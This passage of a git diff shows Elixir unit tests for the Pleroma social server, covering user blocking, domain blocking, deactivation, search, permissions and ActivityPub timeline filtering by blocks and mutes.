	test "it blocks people" do
	user = insert(:user)
	blocked_user = insert(:user)

	refute User.blocks?(user, blocked_user)

	{:ok, user} = User.block(user, blocked_user)

	assert User.blocks?(user, blocked_user)
	end

	test "it unblocks users" do
	user = insert(:user)
	blocked_user = insert(:user)

	{:ok, user} = User.block(user, blocked_user)
	{:ok, user} = User.unblock(user, blocked_user)

	refute User.blocks?(user, blocked_user)
	end

	test "blocks tear down cyclical follow relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.follow(blocker, blocked)
	{:ok, blocked} = User.follow(blocked, blocker)

	assert User.following?(blocker, blocked)
	assert User.following?(blocked, blocker)

	{:ok, blocker} = User.block(blocker, blocked)
	blocked = User.get_cached_by_id(blocked.id)

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end

	test "blocks tear down blocker->blocked follow relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.follow(blocker, blocked)

	assert User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)

	{:ok, blocker} = User.block(blocker, blocked)
	blocked = User.get_cached_by_id(blocked.id)

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end

	test "blocks tear down blocked->blocker follow relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocked} = User.follow(blocked, blocker)

	refute User.following?(blocker, blocked)
	assert User.following?(blocked, blocker)

	{:ok, blocker} = User.block(blocker, blocked)
	blocked = User.get_cached_by_id(blocked.id)

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end

	test "blocks tear down blocked->blocker subscription relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.subscribe(blocked, blocker)

	assert User.subscribed_to?(blocked, blocker)
	refute User.subscribed_to?(blocker, blocked)

	{:ok, blocker} = User.block(blocker, blocked)

	assert User.blocks?(blocker, blocked)
	refute User.subscribed_to?(blocker, blocked)
	refute User.subscribed_to?(blocked, blocker)
	end
	end

	describe "domain blocking" do
	test "blocks domains" do
	user = insert(:user)
	collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"})

	{:ok, user} = User.block_domain(user, "awful-and-rude-instance.com")

	assert User.blocks?(user, collateral_user)
	end

	test "unblocks domains" do
	user = insert(:user)
	collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"})

	{:ok, user} = User.block_domain(user, "awful-and-rude-instance.com")
	{:ok, user} = User.unblock_domain(user, "awful-and-rude-instance.com")

	refute User.blocks?(user, collateral_user)
	end
	end

	describe "blocks_import" do
	test "it imports user blocks from list" do
	[user1, user2, user3] = insert_list(3, :user)

	identifiers = [
	user2.ap_id,
	user3.nickname
	]

	result = User.blocks_import(user1, identifiers)
	assert is_list(result)
	assert result == [user2, user3]
	end
	end

	test "get recipients from activity" do
	actor = insert(:user)
	user = insert(:user, local: true)
	user_two = insert(:user, local: false)
	addressed = insert(:user, local: true)
	addressed_remote = insert(:user, local: false)

	{:ok, activity} =
	CommonAPI.post(actor, %{
	"status" => "hey @#{addressed.nickname} @#{addressed_remote.nickname}"
	})

	assert Enum.map([actor, addressed], & &1.ap_id) --
	Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == []

	{:ok, user} = User.follow(user, actor)
	{:ok, _user_two} = User.follow(user_two, actor)
	recipients = User.get_recipients_from_activity(activity)
	assert length(recipients) == 3
	assert user in recipients
	assert addressed in recipients
	end

	describe ".deactivate" do
	test "can de-activate then re-activate a user" do
	user = insert(:user)
	assert false == user.info.deactivated
	{:ok, user} = User.deactivate(user)
	assert true == user.info.deactivated
	{:ok, user} = User.deactivate(user, false)
	assert false == user.info.deactivated
	end

	test "hide a user from followers " do
	user = insert(:user)
	user2 = insert(:user)

	{:ok, user} = User.follow(user, user2)
	{:ok, _user} = User.deactivate(user)

	info = User.get_cached_user_info(user2)

	assert info.follower_count == 0
	assert {:ok, []} = User.get_followers(user2)
	end

	test "hide a user from friends" do
	user = insert(:user)
	user2 = insert(:user)

	{:ok, user2} = User.follow(user2, user)
	assert User.following_count(user2) == 1

	{:ok, _user} = User.deactivate(user)

	info = User.get_cached_user_info(user2)

	assert info.following_count == 0
	assert User.following_count(user2) == 0
	assert {:ok, []} = User.get_friends(user2)
	end

	test "hide a user's statuses from timelines and notifications" do
	user = insert(:user)
	user2 = insert(:user)

	{:ok, user2} = User.follow(user2, user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "hey @#{user2.nickname}"})

	activity = Repo.preload(activity, :bookmark)

	[notification] = Pleroma.Notification.for_user(user2)
	assert notification.activity.id == activity.id

	assert [activity] == ActivityPub.fetch_public_activities(%{}) \|> Repo.preload(:bookmark)

	- assert [activity] ==
	+ assert [%{activity \| thread_muted?: CommonAPI.thread_muted?(user2, activity)}] ==
	ActivityPub.fetch_activities([user2.ap_id \| user2.following], %{"user" => user2})

	{:ok, _user} = User.deactivate(user)

	assert [] == ActivityPub.fetch_public_activities(%{})
	assert [] == Pleroma.Notification.for_user(user2)

	assert [] ==
	ActivityPub.fetch_activities([user2.ap_id \| user2.following], %{"user" => user2})
	end
	end

	test ".delete_user_activities deletes all create activities" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})

	Ecto.Adapters.SQL.Sandbox.unboxed_run(Repo, fn ->
	{:ok, _} = User.delete_user_activities(user)
	# TODO: Remove favorites, repeats, delete activities.
	refute Activity.get_by_id(activity.id)
	end)
	end

	test ".delete deactivates a user, all follow relationships and all create activities" do
	user = insert(:user)
	followed = insert(:user)
	follower = insert(:user)

	{:ok, user} = User.follow(user, followed)
	{:ok, follower} = User.follow(follower, user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})
	{:ok, activity_two} = CommonAPI.post(follower, %{"status" => "3hu"})

	{:ok, _, _} = CommonAPI.favorite(activity_two.id, user)
	{:ok, _, _} = CommonAPI.favorite(activity.id, follower)
	{:ok, _, _} = CommonAPI.repeat(activity.id, follower)

	{:ok, _} = User.delete(user)

	followed = User.get_cached_by_id(followed.id)
	follower = User.get_cached_by_id(follower.id)
	user = User.get_cached_by_id(user.id)

	assert user.info.deactivated

	refute User.following?(user, followed)
	refute User.following?(followed, follower)

	# TODO: Remove favorites, repeats, delete activities.

	refute Activity.get_by_id(activity.id)
	end

	test "get_public_key_for_ap_id fetches a user that's not in the db" do
	assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin")
	end

	test "insert or update a user from given data" do
	user = insert(:user, %{nickname: "nick@name.de"})
	data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname}

	assert {:ok, %User{}} = User.insert_or_update_user(data)
	end

	describe "per-user rich-text filtering" do
	test "html_filter_policy returns default policies, when rich-text is enabled" do
	user = insert(:user)

	assert Pleroma.Config.get([:markup, :scrub_policy]) == User.html_filter_policy(user)
	end

	test "html_filter_policy returns TwitterText scrubber when rich-text is disabled" do
	user = insert(:user, %{info: %{no_rich_text: true}})

	assert Pleroma.HTML.Scrubber.TwitterText == User.html_filter_policy(user)
	end
	end

	describe "caching" do
	test "invalidate_cache works" do
	user = insert(:user)
	_user_info = User.get_cached_user_info(user)

	User.invalidate_cache(user)

	{:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
	{:ok, nil} = Cachex.get(:user_cache, "nickname:#{user.nickname}")
	{:ok, nil} = Cachex.get(:user_cache, "user_info:#{user.id}")
	end

	test "User.delete() plugs any possible zombie objects" do
	user = insert(:user)

	{:ok, _} = User.delete(user)

	{:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")

	assert cached_user != user

	{:ok, cached_user} = Cachex.get(:user_cache, "nickname:#{user.ap_id}")

	assert cached_user != user
	end
	end

	describe "User.search" do
	test "finds a user by full or partial nickname" do
	user = insert(:user, %{nickname: "john"})

	Enum.each(["john", "jo", "j"], fn query ->
	assert user ==
	User.search(query)
	\|> List.first()
	\|> Map.put(:search_rank, nil)
	\|> Map.put(:search_type, nil)
	end)
	end

	test "finds a user by full or partial name" do
	user = insert(:user, %{name: "John Doe"})

	Enum.each(["John Doe", "JOHN", "doe", "j d", "j", "d"], fn query ->
	assert user ==
	User.search(query)
	\|> List.first()
	\|> Map.put(:search_rank, nil)
	\|> Map.put(:search_type, nil)
	end)
	end

	test "finds users, preferring nickname matches over name matches" do
	u1 = insert(:user, %{name: "lain", nickname: "nick1"})
	u2 = insert(:user, %{nickname: "lain", name: "nick1"})

	assert [u2.id, u1.id] == Enum.map(User.search("lain"), & &1.id)
	end

	test "finds users, considering density of matched tokens" do
	u1 = insert(:user, %{name: "Bar Bar plus Word Word"})
	u2 = insert(:user, %{name: "Word Word Bar Bar Bar"})

	assert [u2.id, u1.id] == Enum.map(User.search("bar word"), & &1.id)
	end

	test "finds users, ranking by similarity" do
	u1 = insert(:user, %{name: "lain"})
	_u2 = insert(:user, %{name: "ean"})
	u3 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social"})
	u4 = insert(:user, %{nickname: "lain@pleroma.soykaf.com"})

	assert [u4.id, u3.id, u1.id] == Enum.map(User.search("lain@ple"), & &1.id)
	end

	test "finds users, handling misspelled requests" do
	u1 = insert(:user, %{name: "lain"})

	assert [u1.id] == Enum.map(User.search("laiin"), & &1.id)
	end

	test "finds users, boosting ranks of friends and followers" do
	u1 = insert(:user)
	u2 = insert(:user, %{name: "Doe"})
	follower = insert(:user, %{name: "Doe"})
	friend = insert(:user, %{name: "Doe"})

	{:ok, follower} = User.follow(follower, u1)
	{:ok, u1} = User.follow(u1, friend)

	assert [friend.id, follower.id, u2.id] --
	Enum.map(User.search("doe", resolve: false, for_user: u1), & &1.id) == []
	end

	test "finds a user whose name is nil" do
	_user = insert(:user, %{name: "notamatch", nickname: "testuser@pleroma.amplifie.red"})
	user_two = insert(:user, %{name: nil, nickname: "lain@pleroma.soykaf.com"})

	assert user_two ==
	User.search("lain@pleroma.soykaf.com")
	\|> List.first()
	\|> Map.put(:search_rank, nil)
	\|> Map.put(:search_type, nil)
	end

	test "does not yield false-positive matches" do
	insert(:user, %{name: "John Doe"})

	Enum.each(["mary", "a", ""], fn query ->
	assert [] == User.search(query)
	end)
	end

	test "works with URIs" do
	results = User.search("http://mastodon.example.org/users/admin", resolve: true)
	result = results \|> List.first()

	user = User.get_cached_by_ap_id("http://mastodon.example.org/users/admin")

	assert length(results) == 1
	assert user == result \|> Map.put(:search_rank, nil) \|> Map.put(:search_type, nil)
	end
	end

	test "auth_active?/1 works correctly" do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	local_user = insert(:user, local: true, info: %{confirmation_pending: true})
	confirmed_user = insert(:user, local: true, info: %{confirmation_pending: false})
	remote_user = insert(:user, local: false)

	refute User.auth_active?(local_user)
	assert User.auth_active?(confirmed_user)
	assert User.auth_active?(remote_user)

	Pleroma.Config.put([:instance, :account_activation_required], false)
	end

	describe "superuser?/1" do
	test "returns false for unprivileged users" do
	user = insert(:user, local: true)

	refute User.superuser?(user)
	end

	test "returns false for remote users" do
	user = insert(:user, local: false)
	remote_admin_user = insert(:user, local: false, info: %{is_admin: true})

	refute User.superuser?(user)
	refute User.superuser?(remote_admin_user)
	end

	test "returns true for local moderators" do
	user = insert(:user, local: true, info: %{is_moderator: true})

	assert User.superuser?(user)
	end

	test "returns true for local admins" do
	user = insert(:user, local: true, info: %{is_admin: true})

	assert User.superuser?(user)
	end
	end

	describe "visible_for?/2" do
	test "returns true when the account is itself" do
	user = insert(:user, local: true)

	assert User.visible_for?(user, user)
	end

	test "returns false when the account is unauthenticated and auth is required" do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	user = insert(:user, local: true, info: %{confirmation_pending: true})
	other_user = insert(:user, local: true)

	refute User.visible_for?(user, other_user)

	Pleroma.Config.put([:instance, :account_activation_required], false)
	end

	test "returns true when the account is unauthenticated and auth is not required" do
	user = insert(:user, local: true, info: %{confirmation_pending: true})
	other_user = insert(:user, local: true)

	assert User.visible_for?(user, other_user)
	end

	test "returns true when the account is unauthenticated and being viewed by a privileged account (auth required)" do
	Pleroma.Config.put([:instance, :account_activation_required], true)

	user = insert(:user, local: true, info: %{confirmation_pending: true})
	other_user = insert(:user, local: true, info: %{is_admin: true})

	assert User.visible_for?(user, other_user)

	Pleroma.Config.put([:instance, :account_activation_required], false)
	end
	end

	describe "parse_bio/2" do
	test "preserves hosts in user links text" do
	remote_user = insert(:user, local: false, nickname: "nick@domain.com")
	user = insert(:user)
	bio = "A.k.a. @nick@domain.com"

	expected_text =
	"A.k.a. <span class='h-card'><a data-user='#{remote_user.id}' class='u-url mention' href='#{
	remote_user.ap_id
	}'>@<span>nick@domain.com</span></a></span>"

	assert expected_text == User.parse_bio(bio, user)
	end

	test "Adds rel=me on linkbacked urls" do
	user = insert(:user, ap_id: "http://social.example.org/users/lain")

	bio = "http://example.org/rel_me/null"
	expected_text = "<a href=\"#{bio}\">#{bio}</a>"
	assert expected_text == User.parse_bio(bio, user)

	bio = "http://example.org/rel_me/link"
	expected_text = "<a href=\"#{bio}\">#{bio}</a>"
	assert expected_text == User.parse_bio(bio, user)

	bio = "http://example.org/rel_me/anchor"
	expected_text = "<a href=\"#{bio}\">#{bio}</a>"
	assert expected_text == User.parse_bio(bio, user)
	end
	end

	test "follower count is updated when a follower is blocked" do
	user = insert(:user)
	follower = insert(:user)
	follower2 = insert(:user)
	follower3 = insert(:user)

	{:ok, follower} = User.follow(follower, user)
	{:ok, _follower2} = User.follow(follower2, user)
	{:ok, _follower3} = User.follow(follower3, user)

	{:ok, _} = User.block(user, follower)

	user_show = Pleroma.Web.TwitterAPI.UserView.render("show.json", %{user: user})

	assert Map.get(user_show, "followers_count") == 2
	end

	describe "toggle_confirmation/1" do
	test "if user is confirmed" do
	user = insert(:user, info: %{confirmation_pending: false})
	{:ok, user} = User.toggle_confirmation(user)

	assert user.info.confirmation_pending
	assert user.info.confirmation_token
	end

	test "if user is unconfirmed" do
	user = insert(:user, info: %{confirmation_pending: true, confirmation_token: "some token"})
	{:ok, user} = User.toggle_confirmation(user)

	refute user.info.confirmation_pending
	refute user.info.confirmation_token
	end
	end
	+
	+ describe "ensure_keys_present" do
	+ test "it creates keys for a user and stores them in info" do
	+ user = insert(:user)
	+ refute is_binary(user.info.keys)
	+ {:ok, user} = User.ensure_keys_present(user)
	+ assert is_binary(user.info.keys)
	+ end
	+
	+ test "it doesn't create keys if there already are some" do
	+ user = insert(:user, %{info: %{keys: "xxx"}})
	+ {:ok, user} = User.ensure_keys_present(user)
	+ assert user.info.keys == "xxx"
	+ end
	+ end
	end
	diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs
	index c18e0ab5f..f743f380b 100644
	--- a/test/web/activity_pub/activity_pub_test.exs
	+++ b/test/web/activity_pub/activity_pub_test.exs
	@@ -1,1189 +1,1189 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
	use Pleroma.DataCase
	alias Pleroma.Activity
	alias Pleroma.Builders.ActivityBuilder
	alias Pleroma.Instances
	alias Pleroma.Object
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Publisher
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory
	import Tesla.Mock
	import Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "streaming out participations" do
	test "it streams them out" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "direct"})

	{:ok, conversation} = Pleroma.Conversation.create_or_bump_for(activity)

	participations =
	conversation.participations
	\|> Repo.preload(:user)

	with_mock Pleroma.Web.Streamer,
	stream: fn _, _ -> nil end do
	ActivityPub.stream_out_participations(conversation.participations)

	Enum.each(participations, fn participation ->
	assert called(Pleroma.Web.Streamer.stream("participation", participation))
	end)
	end
	end
	end

	describe "fetching restricted by visibility" do
	test "it restricts by the appropriate visibility" do
	user = insert(:user)

	{:ok, public_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "public"})

	{:ok, direct_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "direct"})

	{:ok, unlisted_activity} =
	CommonAPI.post(user, %{"status" => ".", "visibility" => "unlisted"})

	{:ok, private_activity} =
	CommonAPI.post(user, %{"status" => ".", "visibility" => "private"})

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "direct", "actor_id" => user.ap_id})

	assert activities == [direct_activity]

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "unlisted", "actor_id" => user.ap_id})

	assert activities == [unlisted_activity]

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "private", "actor_id" => user.ap_id})

	assert activities == [private_activity]

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "public", "actor_id" => user.ap_id})

	assert activities == [public_activity]

	activities =
	ActivityPub.fetch_activities([], %{
	:visibility => ~w[private public],
	"actor_id" => user.ap_id
	})

	assert activities == [public_activity, private_activity]
	end
	end

	describe "building a user from his ap id" do
	test "it returns a user" do
	user_id = "http://mastodon.example.org/users/admin"
	{:ok, user} = ActivityPub.make_user_from_ap_id(user_id)
	assert user.ap_id == user_id
	assert user.nickname == "admin@mastodon.example.org"
	assert user.info.source_data
	assert user.info.ap_enabled
	assert user.follower_address == "http://mastodon.example.org/users/admin/followers"
	end

	test "it fetches the appropriate tag-restricted posts" do
	user = insert(:user)

	{:ok, status_one} = CommonAPI.post(user, %{"status" => ". #test"})
	{:ok, status_two} = CommonAPI.post(user, %{"status" => ". #essais"})
	{:ok, status_three} = CommonAPI.post(user, %{"status" => ". #test #reject"})

	fetch_one = ActivityPub.fetch_activities([], %{"type" => "Create", "tag" => "test"})

	fetch_two =
	ActivityPub.fetch_activities([], %{"type" => "Create", "tag" => ["test", "essais"]})

	fetch_three =
	ActivityPub.fetch_activities([], %{
	"type" => "Create",
	"tag" => ["test", "essais"],
	"tag_reject" => ["reject"]
	})

	fetch_four =
	ActivityPub.fetch_activities([], %{
	"type" => "Create",
	"tag" => ["test"],
	"tag_all" => ["test", "reject"]
	})

	assert fetch_one == [status_one, status_three]
	assert fetch_two == [status_one, status_two, status_three]
	assert fetch_three == [status_one, status_two]
	assert fetch_four == [status_three]
	end
	end

	describe "insertion" do
	test "drops activities beyond a certain limit" do
	limit = Pleroma.Config.get([:instance, :remote_limit])

	random_text =
	:crypto.strong_rand_bytes(limit + 1)
	\|> Base.encode64()
	\|> binary_part(0, limit + 1)

	data = %{
	"ok" => true,
	"object" => %{
	"content" => random_text
	}
	}

	assert {:error, {:remote_limit_error, _}} = ActivityPub.insert(data)
	end

	test "doesn't drop activities with content being null" do
	user = insert(:user)

	data = %{
	"actor" => user.ap_id,
	"to" => [],
	"object" => %{
	"actor" => user.ap_id,
	"to" => [],
	"type" => "Note",
	"content" => nil
	}
	}

	assert {:ok, _} = ActivityPub.insert(data)
	end

	test "returns the activity if one with the same id is already in" do
	activity = insert(:note_activity)
	{:ok, new_activity} = ActivityPub.insert(activity.data)

	assert activity.id == new_activity.id
	end

	test "inserts a given map into the activity database, giving it an id if it has none." do
	user = insert(:user)

	data = %{
	"actor" => user.ap_id,
	"to" => [],
	"object" => %{
	"actor" => user.ap_id,
	"to" => [],
	"type" => "Note",
	"content" => "hey"
	}
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	assert activity.data["ok"] == data["ok"]
	assert is_binary(activity.data["id"])

	given_id = "bla"

	data = %{
	"id" => given_id,
	"actor" => user.ap_id,
	"to" => [],
	"context" => "blabla",
	"object" => %{
	"actor" => user.ap_id,
	"to" => [],
	"type" => "Note",
	"content" => "hey"
	}
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	assert activity.data["ok"] == data["ok"]
	assert activity.data["id"] == given_id
	assert activity.data["context"] == "blabla"
	assert activity.data["context_id"]
	end

	test "adds a context when none is there" do
	user = insert(:user)

	data = %{
	"actor" => user.ap_id,
	"to" => [],
	"object" => %{
	"actor" => user.ap_id,
	"to" => [],
	"type" => "Note",
	"content" => "hey"
	}
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	object = Pleroma.Object.normalize(activity)

	assert is_binary(activity.data["context"])
	assert is_binary(object.data["context"])
	assert activity.data["context_id"]
	assert object.data["context_id"]
	end

	test "adds an id to a given object if it lacks one and is a note and inserts it to the object database" do
	user = insert(:user)

	data = %{
	"actor" => user.ap_id,
	"to" => [],
	"object" => %{
	"actor" => user.ap_id,
	"to" => [],
	"type" => "Note",
	"content" => "hey"
	}
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	object = Object.normalize(activity.data["object"])

	assert is_binary(object.data["id"])
	assert %Object{} = Object.get_by_ap_id(activity.data["object"])
	end
	end

	describe "create activities" do
	test "removes doubled 'to' recipients" do
	user = insert(:user)

	{:ok, activity} =
	ActivityPub.create(%{
	to: ["user1", "user1", "user2"],
	actor: user,
	context: "",
	object: %{
	"to" => ["user1", "user1", "user2"],
	"type" => "Note",
	"content" => "testing"
	}
	})

	assert activity.data["to"] == ["user1", "user2"]
	assert activity.actor == user.ap_id
	assert activity.recipients == ["user1", "user2", user.ap_id]
	end

	test "increases user note count only for public activities" do
	user = insert(:user)

	{:ok, _} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "1",
	"visibility" => "public"
	})

	{:ok, _} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "2",
	"visibility" => "unlisted"
	})

	{:ok, _} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "2",
	"visibility" => "private"
	})

	{:ok, _} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "3",
	"visibility" => "direct"
	})

	user = User.get_cached_by_id(user.id)
	assert user.info.note_count == 2
	end

	test "increases replies count" do
	user = insert(:user)
	user2 = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "1", "visibility" => "public"})
	ap_id = activity.data["id"]
	reply_data = %{"status" => "1", "in_reply_to_status_id" => activity.id}

	# public
	{:ok, _} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "public"))
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	assert object.data["repliesCount"] == 1

	# unlisted
	{:ok, _} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "unlisted"))
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	assert object.data["repliesCount"] == 2

	# private
	{:ok, _} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "private"))
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	assert object.data["repliesCount"] == 2

	# direct
	{:ok, _} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "direct"))
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	assert object.data["repliesCount"] == 2
	end
	end

	describe "fetch activities for recipients" do
	test "retrieve the activities for certain recipients" do
	{:ok, activity_one} = ActivityBuilder.insert(%{"to" => ["someone"]})
	{:ok, activity_two} = ActivityBuilder.insert(%{"to" => ["someone_else"]})
	{:ok, _activity_three} = ActivityBuilder.insert(%{"to" => ["noone"]})

	activities = ActivityPub.fetch_activities(["someone", "someone_else"])
	assert length(activities) == 2
	assert activities == [activity_one, activity_two]
	end
	end

	describe "fetch activities in context" do
	test "retrieves activities that have a given context" do
	{:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
	{:ok, activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
	{:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"})
	{:ok, _activity_four} = ActivityBuilder.insert(%{"type" => "Announce", "context" => "2hu"})
	activity_five = insert(:note_activity)
	user = insert(:user)

	{:ok, user} = User.block(user, %{ap_id: activity_five.data["actor"]})

	activities = ActivityPub.fetch_activities_for_context("2hu", %{"blocking_user" => user})
	assert activities == [activity_two, activity]
	end
	end

	test "doesn't return blocked activities" do
	activity_one = insert(:note_activity)
	activity_two = insert(:note_activity)
	activity_three = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)
	{:ok, user} = User.block(user, %{ap_id: activity_one.data["actor"]})

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	refute Enum.member?(activities, activity_one)

	{:ok, user} = User.unblock(user, %{ap_id: activity_one.data["actor"]})

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, activity_one)

	{:ok, user} = User.block(user, %{ap_id: activity_three.data["actor"]})
	{:ok, _announce, %{data: %{"id" => id}}} = CommonAPI.repeat(activity_three.id, booster)
	%Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id)
	activity_three = Activity.get_by_id(activity_three.id)

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	refute Enum.member?(activities, activity_three)
	refute Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => nil, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)
	end

	test "doesn't return transitive interactions concerning blocked users" do
	blocker = insert(:user)
	blockee = insert(:user)
	friend = insert(:user)

	{:ok, blocker} = User.block(blocker, blockee)

	{:ok, activity_one} = CommonAPI.post(friend, %{"status" => "hey!"})

	{:ok, activity_two} = CommonAPI.post(friend, %{"status" => "hey! @#{blockee.nickname}"})

	{:ok, activity_three} = CommonAPI.post(blockee, %{"status" => "hey! @#{friend.nickname}"})

	{:ok, activity_four} = CommonAPI.post(blockee, %{"status" => "hey! @#{blocker.nickname}"})

	activities = ActivityPub.fetch_activities([], %{"blocking_user" => blocker})

	assert Enum.member?(activities, activity_one)
	refute Enum.member?(activities, activity_two)
	refute Enum.member?(activities, activity_three)
	refute Enum.member?(activities, activity_four)
	end

	test "doesn't return announce activities concerning blocked users" do
	blocker = insert(:user)
	blockee = insert(:user)
	friend = insert(:user)

	{:ok, blocker} = User.block(blocker, blockee)

	{:ok, activity_one} = CommonAPI.post(friend, %{"status" => "hey!"})

	{:ok, activity_two} = CommonAPI.post(blockee, %{"status" => "hey! @#{friend.nickname}"})

	{:ok, activity_three, _} = CommonAPI.repeat(activity_two.id, friend)

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => blocker})
	\|> Enum.map(fn act -> act.id end)

	assert Enum.member?(activities, activity_one.id)
	refute Enum.member?(activities, activity_two.id)
	refute Enum.member?(activities, activity_three.id)
	end

	test "doesn't return activities from blocked domains" do
	domain = "dogwhistle.zone"
	domain_user = insert(:user, %{ap_id: "https://#{domain}/@pundit"})
	note = insert(:note, %{data: %{"actor" => domain_user.ap_id}})
	activity = insert(:note_activity, %{note: note})
	user = insert(:user)
	{:ok, user} = User.block_domain(user, domain)

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})

	refute activity in activities

	followed_user = insert(:user)
	ActivityPub.follow(user, followed_user)
	{:ok, repeat_activity, _} = CommonAPI.repeat(activity.id, followed_user)

	activities =
	ActivityPub.fetch_activities([], %{"blocking_user" => user, "skip_preload" => true})

	refute repeat_activity in activities
	end

	test "doesn't return muted activities" do
	activity_one = insert(:note_activity)
	activity_two = insert(:note_activity)
	activity_three = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)
	{:ok, user} = User.mute(user, %User{ap_id: activity_one.data["actor"]})

	activities =
	ActivityPub.fetch_activities([], %{"muting_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	refute Enum.member?(activities, activity_one)

	# Calling with 'with_muted' will deliver muted activities, too.
	activities =
	ActivityPub.fetch_activities([], %{
	"muting_user" => user,
	"with_muted" => true,
	"skip_preload" => true
	})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, activity_one)

	{:ok, user} = User.unmute(user, %User{ap_id: activity_one.data["actor"]})

	activities =
	ActivityPub.fetch_activities([], %{"muting_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, activity_one)

	{:ok, user} = User.mute(user, %User{ap_id: activity_three.data["actor"]})
	{:ok, _announce, %{data: %{"id" => id}}} = CommonAPI.repeat(activity_three.id, booster)
	%Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id)
	activity_three = Activity.get_by_id(activity_three.id)

	activities =
	ActivityPub.fetch_activities([], %{"muting_user" => user, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	refute Enum.member?(activities, activity_three)
	refute Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)

	activities = ActivityPub.fetch_activities([], %{"muting_user" => nil, "skip_preload" => true})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)
	end

	test "does include announces on request" do
	activity_three = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)

